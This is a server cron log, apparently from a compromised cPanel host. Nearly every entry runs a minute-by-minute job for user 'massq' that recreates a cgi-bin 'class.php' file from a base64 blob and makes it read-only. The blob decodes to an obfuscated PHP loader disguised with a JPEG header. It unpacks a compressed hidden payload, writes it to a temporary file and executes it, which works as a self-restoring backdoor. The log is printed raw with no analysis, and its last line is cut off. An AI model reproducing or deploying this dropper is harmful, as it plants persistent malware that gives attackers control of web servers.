Nov 12 16:12:01 server CROND[28148]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:13:01 server CROND[28822]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:14:01 server CROND[29676]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:15:01 server CROND[30597]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 16:15:01 server CROND[30596]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 16:15:01 server CROND[30598]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 12 16:15:01 server CROND[30595]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:16:01 server CROND[31599]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:17:01 server CROND[32451]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:18:01 server CROND[929]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:19:01 server CROND[1804]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:20:01 server CROND[2624]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 16:20:01 server CROND[2625]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 16:20:01 server CROND[2626]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 16:20:01 server CROND[2628]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:20:01 server CROND[2627]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 16:21:01 server CROND[3478]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:22:01 server CROND[4378]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:23:01 server CROND[5173]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:24:01 server CROND[5943]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:25:01 server CROND[6765]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 